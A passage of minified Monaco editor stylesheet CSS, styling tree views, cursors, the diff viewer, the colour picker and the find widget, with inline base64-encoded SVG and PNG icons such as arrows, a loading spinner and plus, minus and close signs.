CBjaXJjbGU6bnRoLWNoaWxkKDgpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjUyNXM7IH0KCiAgICBAa2V5ZnJhbWVzIGJhbGwgewogICAgICBmcm9tIHsgb3BhY2l0eTogMTsgfQogICAgICB0byB7IG9wYWNpdHk6IDAuMzsgfQogICAgfQoJPC9zdHlsZT4KCTxnIHN0eWxlPSJmaWxsOmdyZXk7Ij4KCQk8Y2lyY2xlIGN4PSc1JyBjeT0nMScgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PSc3LjgyODQnIGN5PScyLjE3MTYnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nOScgY3k9JzUnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nNy44Mjg0JyBjeT0nNy44Mjg0JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzUnIGN5PSc5JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzIuMTcxNicgY3k9JzcuODI4NCcgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PScxJyBjeT0nNScgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PScyLjE3MTYnIGN5PScyLjE3MTYnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+Cgk8L2c+Cjwvc3ZnPgo=\")}.hc-black .monaco-tree .monaco-tree-rows.show-twisties>.monaco-tree-row.has-children>.content:before{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTYgNHY4bDQtNC00LTR6bTEgMi40MTRsMS41ODYgMS41ODYtMS41ODYgMS41ODZ2LTMuMTcyeiIvPjwvc3ZnPg==\")}.hc-black .monaco-tree .monaco-tree-rows.show-twisties>.monaco-tree-row.expanded>.content:before{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTExIDEwLjA3aC01LjY1Nmw1LjY1Ni01LjY1NnY1LjY1NnoiLz48L3N2Zz4=\")}.hc-black .monaco-tree .monaco-tree-rows>.monaco-tree-row.has-children.loading>.content:before{background-image:url(\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0nMS4wJyBzdGFuZGFsb25lPSdubycgPz4KPHN2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHZlcnNpb249JzEuMScgd2lkdGg9JzEwcHgnIGhlaWdodD0nMTBweCc+Cgk8c3R5bGU+CiAgICBjaXJjbGUgewogICAgICBhbmltYXRpb246IGJhbGwgMC42cyBsaW5lYXIgaW5maW5pdGU7CiAgICB9CgogICAgY2lyY2xlOm50aC1jaGlsZCgyKSB7IGFuaW1hdGlvbi1kZWxheTogMC4wNzVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDMpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjE1czsgfQogICAgY2lyY2xlOm50aC1jaGlsZCg0KSB7IGFuaW1hdGlvbi1kZWxheTogMC4yMjVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDUpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjNzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDYpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjM3NXM7IH0KICAgIGNpcmNsZTpudGgtY2hpbGQoNykgeyBhbmltYXRpb24tZGVsYXk6IDAuNDVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDgpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjUyNXM7IH0KCiAgICBAa2V5ZnJhbWVzIGJhbGwgewogICAgICBmcm9tIHsgb3BhY2l0eTogMTsgfQogICAgICB0byB7IG9wYWNpdHk6IDAuMzsgfQogICAgfQoJPC9zdHlsZT4KCTxnIHN0eWxlPSJmaWxsOndoaXRlOyI+CgkJPGNpcmNsZSBjeD0nNScgY3k9JzEnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nNy44Mjg0JyBjeT0nMi4xNzE2JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzknIGN5PSc1JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzcuODI4NCcgY3k9JzcuODI4NCcgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PSc1JyBjeT0nOScgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PScyLjE3MTYnIGN5PSc3LjgyODQnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nMScgY3k9JzUnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nMi4xNzE2JyBjeT0nMi4xNzE2JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJPC9nPgo8L3N2Zz4K\")}.monaco-tree-action.collapse-all{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iLTEgMCAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAtMSAwIDE2IDE2Ij48cGF0aCBmaWxsPSIjNDI0MjQyIiBkPSJNMTQgMXY5aC0xdi04aC04di0xaDl6bS0xMSAydjFoOHY4aDF2LTloLTl6bTcgMnY5aC05di05aDl6bS0yIDJoLTV2NWg1di01eiIvPjxyZWN0IHg9IjQiIHk9IjkiIGZpbGw9IiMwMDUzOUMiIHdpZHRoPSIzIiBoZWlnaHQ9IjEiLz48L3N2Zz4=\") 50% no-repeat}.hc-black .monaco-tree-action.collapse-all,.vs-dark .monaco-tree-action.collapse-all{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iLTEgMCAxNiAxNiIgZW5hYmxlLWJhY2tncm91bmQ9Im5ldyAtMSAwIDE2IDE2Ij48cGF0aCBmaWxsPSIjQzVDNUM1IiBkPSJNMTQgMXY5aC0xdi04aC04di0xaDl6bS0xMSAydjFoOHY4aDF2LTloLTl6bTcgMnY5aC05di05aDl6bS0yIDJoLTV2NWg1di01eiIvPjxyZWN0IHg9IjQiIHk9IjkiIGZpbGw9IiM3NUJFRkYiIHdpZHRoPSIzIiBoZWlnaHQ9IjEiLz48L3N2Zz4=\") 50% no-repeat}.monaco-editor .inputarea{min-width:0;min-height:0;margin:0;padding:0;position:absolute;outline:none!important;resize:none;border:none;overflow:hidden;color:transparent;background-color:transparent}.monaco-editor .inputarea.ime-input{z-index:3}.monaco-editor .margin-view-overlays .current-line-margin,.monaco-editor .view-overlays .current-line{display:block;position:absolute;left:0;top:0;box-sizing:border-box}.monaco-editor .lines-content .cdr{position:absolute}.monaco-editor .glyph-margin{position:absolute;top:0}.monaco-editor .lines-content .cigr,.monaco-editor .margin-view-overlays .cgmr{position:absolute}.monaco-editor .margin-view-overlays .line-numbers{position:absolute;text-align:right;display:inline-block;vertical-align:middle;box-sizing:border-box;cursor:default;height:100%}.monaco-editor .relative-current-line-number{text-align:left;display:inline-block;width:100%}.monaco-workbench .monaco-editor .margin-view-overlays .line-numbers{cursor:-webkit-image-set(url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNSIgaGVpZ2h0PSIyMSIgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAxNSAyMSIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgMTUgMjE7Ij48cG9seWdvbiBzdHlsZT0iZmlsbDojRkZGRkZGO3N0cm9rZTojMDAwMDAwIiBwb2ludHM9IjE0LjUsMS4yIDEuOSwxMy44IDcuMSwxMy44IDQuNSwxOS4xIDcuNywyMC4xIDEwLjMsMTQuOSAxNC41LDE4Ii8+PC9zdmc+\") 1x,url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iMzAiIGhlaWdodD0iNDIiIHZpZXdCb3g9IjAgMCAzMCA0MiIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgMzAgNDI7Ij48cG9seWdvbiBzdHlsZT0iZmlsbDojRkZGRkZGO3N0cm9rZTojMDAwMDAwO3N0cm9rZS13aWR0aDoyOyIgcG9pbnRzPSIyOSwyLjQgMy44LDI3LjYgMTQuMywyNy42IDksMzguMSAxNS40LDQwLjIgMjAuNiwyOS43IDI5LDM2Ii8+PC9zdmc+Cg==\") 2x) 30 0,default}.monaco-workbench .monaco-editor.mac .margin-view-overlays .line-numbers{cursor:-webkit-image-set(url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDEyIDE4Ij48c3R5bGU+LnN0MHtmaWxsOiNmZmZ9PC9zdHlsZT48dGl0bGU+ZmxpcHBlZC1jdXJzb3ItbWFjPC90aXRsZT48cGF0aCBkPSJNNC4zIDE2LjVsMS42LTQuNkgxLjFMMTEuNSAxLjJ2MTQuNEw4LjcgMTNsLTEuNiA0LjV6Ii8+PHBhdGggY2xhc3M9InN0MCIgZD0iTTExIDE0LjVsLTIuNS0yLjNMNyAxNi43IDUgMTZsMS42LTQuNWgtNGw4LjUtOU0wIDEyLjVoNS4ybC0xLjUgNC4xTDcuNSAxOCA5IDE0LjJsMi45IDIuM1YwTDAgMTIuNXoiLz48L3N2Zz4=\") 1x,url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIzNiIgdmlld0JveD0iMCAwIDI0IDM2LjEiPjxkZWZzPjxzdHlsZT4uYXtmaWxsOiNmZmY7fTwvc3R5bGU+PC9kZWZzPjx0aXRsZT5mbGlwcGVkLWN1cnNvci1tYWMtMng8L3RpdGxlPjxwb2x5Z29uIHBvaW50cz0iOC42IDMzLjEgMTEuOCAyMy45IDIuMiAyMy45IDIzIDIuNSAyMyAzMS4zIDE3LjQgMjYuMSAxNC4yIDM1LjEgOC42IDMzLjEiLz48cGF0aCBjbGFzcz0iYSIgZD0iTTIyLDI5LjFsLTUtNC42LTMuMDYyLDguOTM4LTQuMDYyLTEuNUwxMywyM0g1TDIyLDVNMCwyNUgxMC40bC0zLDguM0wxNSwzNi4xbDMuMTI1LTcuNjYyTDI0LDMzVjBaIi8+PC9zdmc+\") 2x) 24 3,default}.monaco-editor .margin-view-overlays .line-numbers.lh-odd{margin-top:1px}.monaco-editor .lines-content,.monaco-editor .view-line,.monaco-editor .view-lines{-webkit-user-select:text;-ms-user-select:text;-moz-user-select:text;-o-user-select:text;user-select:text}.monaco-editor.ie .lines-content,.monaco-editor.ie .view-line,.monaco-editor.ie .view-lines{-ms-user-select:none;user-select:none}.monaco-editor .view-lines{cursor:text;white-space:nowrap}.monaco-editor.hc-black.mac .view-lines,.monaco-editor.vs-dark.mac .view-lines{cursor:-webkit-image-set(url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAL0lEQVQoz2NgCD3x//9/BhBYBWdhgFVAiVW4JBFKGIa4AqD0//9D3pt4I4tAdAMAHTQ/j5Zom30AAAAASUVORK5CYII=) 1x,url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAQAAADZc7J/AAAAz0lEQVRIx2NgYGBY/R8I/vx5eelX3n82IJ9FxGf6tksvf/8FiTMQAcAGQMDvSwu09abffY8QYSAScNk45G198eX//yev73/4///701eh//kZSARckrNBRvz//+8+6ZohwCzjGNjdgQxkAg7B9WADeBjIBqtJCbhRA0YNoIkBSNmaPEMoNmA0FkYNoFKhapJ6FGyAH3nauaSmPfwI0v/3OukVi0CIZ+F25KrtYcx/CTIy0e+rC7R1Z4KMICVTQQ14feVXIbR695u14+Ir4gwAAD49E54wc1kWAAAAAElFTkSuQmCC) 2x) 5 8,text}.monaco-editor .view-line{position:absolute;width:100%}.monaco-editor .lines-decorations{position:absolute;top:0;background:#fff}.monaco-editor .margin-view-overlays .cldr{position:absolute;height:100%}.monaco-editor .margin-view-overlays .cmdr{position:absolute;left:0;width:100%;height:100%}.monaco-editor .minimap.slider-mouseover .minimap-slider{opacity:0;transition:opacity .1s linear}.monaco-editor .minimap.slider-mouseover .minimap-slider.active,.monaco-editor .minimap.slider-mouseover:hover .minimap-slider{opacity:1}.monaco-editor .minimap-shadow-hidden{position:absolute;width:0}.monaco-editor .minimap-shadow-visible{position:absolute;left:-6px;width:6px}.monaco-editor .overlayWidgets{position:absolute;top:0;left:0}.monaco-editor .view-ruler{position:absolute;top:0}.monaco-editor .scroll-decoration{position:absolute;top:0;left:0;height:6px}.monaco-editor .lines-content .cslr{position:absolute}.monaco-editor .top-left-radius{border-top-left-radius:3px}.monaco-editor .bottom-left-radius{border-bottom-left-radius:3px}.monaco-editor .top-right-radius{border-top-right-radius:3px}.monaco-editor .bottom-right-radius{border-bottom-right-radius:3px}.monaco-editor.hc-black .top-left-radius{border-top-left-radius:0}.monaco-editor.hc-black .bottom-left-radius{border-bottom-left-radius:0}.monaco-editor.hc-black .top-right-radius{border-top-right-radius:0}.monaco-editor.hc-black .bottom-right-radius{border-bottom-right-radius:0}.monaco-editor .cursors-layer{position:absolute;top:0}.monaco-editor .cursors-layer>.cursor{position:absolute;cursor:text}.monaco-editor .cursors-layer>.cursor.secondary{opacity:.6}.monaco-editor .cursors-layer.cursor-block-outline-style>.cursor{box-sizing:border-box;background:transparent!important;border-style:solid;border-width:1px}.monaco-editor .cursors-layer.cursor-underline-style>.cursor{border-bottom-width:2px;border-bottom-style:solid;background:transparent!important;box-sizing:border-box}.monaco-editor .cursors-layer.cursor-underline-thin-style>.cursor{border-bottom-width:1px;border-bottom-style:solid;background:transparent!important;box-sizing:border-box}@keyframes monaco-cursor-smooth{0%,20%{opacity:1}60%,to{opacity:0}}@keyframes monaco-cursor-phase{0%,20%{opacity:1}90%,to{opacity:0}}@keyframes monaco-cursor-expand{0%,20%{transform:scaleY(1)}80%,to{transform:scaleY(0)}}.cursor-smooth{animation:monaco-cursor-smooth .5s ease-in-out 0s 20 alternate}.cursor-phase{animation:monaco-cursor-phase .5s ease-in-out 0s 20 alternate}.cursor-expand>.cursor{animation:monaco-cursor-expand .5s ease-in-out 0s 20 alternate}.monaco-diff-editor .diffOverview{z-index:2}.monaco-diff-editor.vs .diffOverview{background:rgba(0,0,0,.03)}.monaco-diff-editor.vs-dark .diffOverview{background:hsla(0,0%,100%,.01)}.monaco-diff-editor .diffViewport{box-shadow:inset 0 0 1px 0 #b9b9b9;background:rgba(0,0,0,.1)}.monaco-diff-editor.hc-black .diffViewport,.monaco-diff-editor.vs-dark .diffViewport{background:hsla(0,0%,100%,.1)}.monaco-scrollable-element.modified-in-monaco-diff-editor.vs-dark .scrollbar,.monaco-scrollable-element.modified-in-monaco-diff-editor.vs .scrollbar{background:transparent}.monaco-scrollable-element.modified-in-monaco-diff-editor.hc-black .scrollbar{background:none}.monaco-scrollable-element.modified-in-monaco-diff-editor .slider{z-index:3}.modified-in-monaco-diff-editor .slider.active{background:hsla(0,0%,67%,.4)}.modified-in-monaco-diff-editor.hc-black .slider.active{background:none}.monaco-diff-editor .delete-sign,.monaco-diff-editor .insert-sign,.monaco-editor .delete-sign,.monaco-editor .insert-sign{background-size:60%;opacity:.7;background-repeat:no-repeat;background-position:50% 50%}.monaco-diff-editor.hc-black .delete-sign,.monaco-diff-editor.hc-black .insert-sign,.monaco-editor.hc-black .delete-sign,.monaco-editor.hc-black .insert-sign{opacity:1}.monaco-diff-editor .insert-sign,.monaco-editor .insert-sign{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRpdGxlPkxheWVyIDE8L3RpdGxlPjxyZWN0IGhlaWdodD0iMTEiIHdpZHRoPSIzIiB5PSIzIiB4PSI3IiBmaWxsPSIjNDI0MjQyIi8+PHJlY3QgaGVpZ2h0PSIzIiB3aWR0aD0iMTEiIHk9IjciIHg9IjMiIGZpbGw9IiM0MjQyNDIiLz48L3N2Zz4=\")}.monaco-diff-editor .delete-sign,.monaco-editor .delete-sign{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRpdGxlPkxheWVyIDE8L3RpdGxlPjxyZWN0IGhlaWdodD0iMyIgd2lkdGg9IjExIiB5PSI3IiB4PSIzIiBmaWxsPSIjNDI0MjQyIi8+PC9zdmc+\")}.monaco-diff-editor.hc-black .insert-sign,.monaco-diff-editor.vs-dark .insert-sign,.monaco-editor.hc-black .insert-sign,.monaco-editor.vs-dark .insert-sign{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRpdGxlPkxheWVyIDE8L3RpdGxlPjxyZWN0IGhlaWdodD0iMTEiIHdpZHRoPSIzIiB5PSIzIiB4PSI3IiBmaWxsPSIjQzVDNUM1Ii8+PHJlY3QgaGVpZ2h0PSIzIiB3aWR0aD0iMTEiIHk9IjciIHg9IjMiIGZpbGw9IiNDNUM1QzUiLz48L3N2Zz4=\")}.monaco-diff-editor.hc-black .delete-sign,.monaco-diff-editor.vs-dark .delete-sign,.monaco-editor.hc-black .delete-sign,.monaco-editor.vs-dark .delete-sign{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRpdGxlPkxheWVyIDE8L3RpdGxlPjxyZWN0IGhlaWdodD0iMyIgd2lkdGg9IjExIiB5PSI3IiB4PSIzIiBmaWxsPSIjQzVDNUM1Ii8+PC9zdmc+\")}.monaco-editor .inline-added-margin-view-zone,.monaco-editor .inline-deleted-margin-view-zone{text-align:right}.monaco-editor .diagonal-fill{background:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAJCAYAAADgkQYQAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAChJREFUKFNjOH/+fAMDDgCSu3Dhwn9c8gwwBTgNGR4KQP4HhQOhsAIAZCBTkhtqePcAAAAASUVORK5CYII=\")}.monaco-editor.vs-dark .diagonal-fill{opacity:.2}.monaco-editor.hc-black .diagonal-fill{background:none}.monaco-editor .view-zones .view-lines .view-line span{display:inline-block}.monaco-diff-editor .diff-review-line-number{text-align:right;display:inline-block}.monaco-diff-editor .diff-review{position:absolute;-webkit-user-select:none;-ms-user-select:none;-moz-user-select:none;-o-user-select:none;user-select:none}.monaco-diff-editor .diff-review-summary{padding-left:10px}.monaco-diff-editor .diff-review-shadow{position:absolute}.monaco-diff-editor .diff-review-row{white-space:pre}.monaco-diff-editor .diff-review-table{display:table;min-width:100%}.monaco-diff-editor .diff-review-row{display:table-row;width:100%}.monaco-diff-editor .diff-review-cell{display:table-cell}.monaco-diff-editor .diff-review-spacer{display:inline-block;width:10px}.monaco-diff-editor .diff-review-actions{display:inline-block;position:absolute;right:10px;top:2px}.monaco-diff-editor .diff-review-actions .action-label{width:16px;height:16px;margin:2px 0}.monaco-diff-editor .action-label.icon.close-diff-review{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iIzQyNDI0MiIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\") 50% no-repeat}.monaco-diff-editor.hc-black .action-label.icon.close-diff-review,.monaco-diff-editor.vs-dark .action-label.icon.close-diff-review{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iI2U4ZThlOCIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\") 50% no-repeat}::-ms-clear{display:none}.monaco-editor .editor-widget input{color:inherit}.monaco-editor{position:relative;overflow:visible;-webkit-text-size-adjust:100%;-webkit-font-feature-settings:\"liga\" off,\"calt\" off;font-feature-settings:\"liga\" off,\"calt\" off}.monaco-editor.enable-ligatures{-webkit-font-feature-settings:\"liga\" on,\"calt\" on;font-feature-settings:\"liga\" on,\"calt\" on}.monaco-editor .overflow-guard{position:relative;overflow:hidden}.monaco-editor .view-overlays{position:absolute;top:0}.monaco-editor .vs-whitespace{display:inline-block}.monaco-editor .bracket-match{box-sizing:border-box}.monaco-menu .monaco-action-bar.vertical .action-label.hover{background-color:#eee}.monaco-editor .codelens-decoration{overflow:hidden;display:inline-block;text-overflow:ellipsis}.monaco-editor .codelens-decoration>a,.monaco-editor .codelens-decoration>span{-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap;vertical-align:sub}.monaco-editor .codelens-decoration>a{text-decoration:none}.monaco-editor .codelens-decoration>a:hover{text-decoration:underline;cursor:pointer}.monaco-editor .codelens-decoration.invisible-cl{opacity:0}@keyframes fadein{0%{opacity:0;visibility:visible}to{opacity:1}}@-webkit-keyframes fadein{0%{opacity:0;visibility:visible}to{opacity:1}}.monaco-editor .codelens-decoration.fadein{-webkit-animation:fadein .5s linear;animation:fadein .5s linear}.colorpicker-widget{height:190px;user-select:none}.monaco-shell .colorpicker-hover[tabindex=\"0\"]:focus{outline:none}.colorpicker-header{display:flex;height:24px;position:relative;background:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAAECAYAAACp8Z5+AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAZdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuMTZEaa/1AAAAHUlEQVQYV2PYvXu3JAi7uLiAMaYAjAGTQBPYLQkAa/0Zef3qRswAAAAASUVORK5CYII=\");background-size:9px 9px;image-rendering:pixelated}.colorpicker-header .picked-color{width:216px;text-shadow:.5px .5px .5px #000;line-height:20px;cursor:pointer;flex:1;text-align:center;color:#fff}.colorpicker-header .original-color{width:74px;z-index:inherit}.colorpicker-body{display:flex;padding:8px;position:relative}.colorpicker-body .saturation-wrap{overflow:hidden;height:150px;position:relative;min-width:220px;flex:1}.colorpicker-body .saturation-box{height:150px;position:absolute}.colorpicker-body .saturation-selection{width:9px;height:9px;margin:-5px 0 0 -5px;border:1px solid #fff;border-radius:100%;box-shadow:inset 0 0 1px rgba(0,0,0,.3);position:absolute}.colorpicker-body .strip{width:25px;height:150px}.colorpicker-body .hue-strip{position:relative;margin-left:8px;cursor:-webkit-grab;background:linear-gradient(180deg,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red)}.colorpicker-body .opacity-strip{position:relative;margin-left:8px;cursor:-webkit-grab;background:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAAECAYAAACp8Z5+AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAZdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuMTZEaa/1AAAAHUlEQVQYV2PYvXu3JAi7uLiAMaYAjAGTQBPYLQkAa/0Zef3qRswAAAAASUVORK5CYII=\");background-size:9px 9px;image-rendering:pixelated}.colorpicker-body .slider{position:absolute;top:0;width:100%;background:hsla(0,0%,39%,.7);height:5px}.colorpicker-body .opacity-strip .opacity-overlay{height:150px;pointer-events:none}.monaco-editor.vs .dnd-target{border-right:2px dotted #000;color:#fff}.monaco-editor.vs-dark .dnd-target{border-right:2px dotted #aeafad;color:#51504f}.monaco-editor.hc-black .dnd-target{border-right:2px dotted #fff;color:#000}.monaco-editor.hc-black.mac.mouse-default .view-lines,.monaco-editor.mouse-default .view-lines,.monaco-editor.vs-dark.mac.mouse-default .view-lines{cursor:default}.monaco-editor.hc-black.mac.mouse-copy .view-lines,.monaco-editor.mouse-copy .view-lines,.monaco-editor.vs-dark.mac.mouse-copy .view-lines{cursor:copy}.monaco-checkbox .label{width:12px;height:12px;border:1px solid #000;background-color:transparent;display:inline-block}.monaco-checkbox .checkbox{position:absolute;overflow:hidden;clip:rect(0 0 0 0);height:1px;width:1px;margin:-1px;padding:0;border:0}.monaco-checkbox .checkbox:checked+.label{background-color:#000}.monaco-editor .find-widget{position:absolute;z-index:3;top:-44px;height:34px;overflow:hidden;line-height:19px;transition:top .2s linear;padding:0 4px}.monaco-editor .find-widget.replaceToggled{top:-74px;height:64px}.monaco-editor .find-widget.replaceToggled>.replace-part{display:flex;display:-webkit-flex;align-items:center}.monaco-editor .find-widget.replaceToggled.visible,.monaco-editor .find-widget.visible{top:0}.monaco-editor .find-widget .monaco-inputbox .input{background-color:transparent;min-height:0}.monaco-editor .find-widget .replace-input .input{font-size:13px}.monaco-editor .find-widget.visible.noanimation{transition:none}.monaco-editor .find-widget>.find-part,.monaco-editor .find-widget>.replace-part{margin:4px 0 0 17px;font-size:12px;display:flex;display:-webkit-flex;align-items:center}.monaco-editor .find-widget>.find-part .monaco-inputbox,.monaco-editor .find-widget>.replace-part .monaco-inputbox{height:25px}.monaco-editor .find-widget>.find-part .monaco-inputbox>.wrapper>.input{width:100%!important;padding-right:66px}.monaco-editor .find-widget>.find-part .monaco-inputbox>.wrapper>.input,.monaco-editor .find-widget>.replace-part .monaco-inputbox>.wrapper>.input{padding-top:2px;padding-bottom:2px}.monaco-editor .find-widget .monaco-findInput{vertical-align:middle;display:flex;display:-webkit-flex;flex:1}.monaco-editor .find-widget .matchesCount{display:flex;display:-webkit-flex;flex:initial;margin:0 1px 0 3px;padding:2px 2px 0;height:25px;vertical-align:middle;box-sizing:border-box;text-align:center;line-height:23px}.monaco-editor .find-widget .button{min-width:20px;width:20px;height:20px;display:flex;display:-webkit-flex;flex:initial;margin-left:3px;background-position:50%;background-repeat:no-repeat;cursor:pointer}.monaco-editor .find-widget .button:not(.disabled):hover{background-color:rgba(0,0,0,.1)}.monaco-editor .find-widget .button.left{margin-left:0;margin-right:3px}.monaco-editor .find-widget .button.wide{width:auto;padding:1px 6px;top:-1px}.monaco-editor .find-widget .button.toggle{position:absolute;top:0;left:0;width:18px;height:100%;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.monaco-editor .find-widget .button.toggle.disabled{display:none}.monaco-editor .find-widget 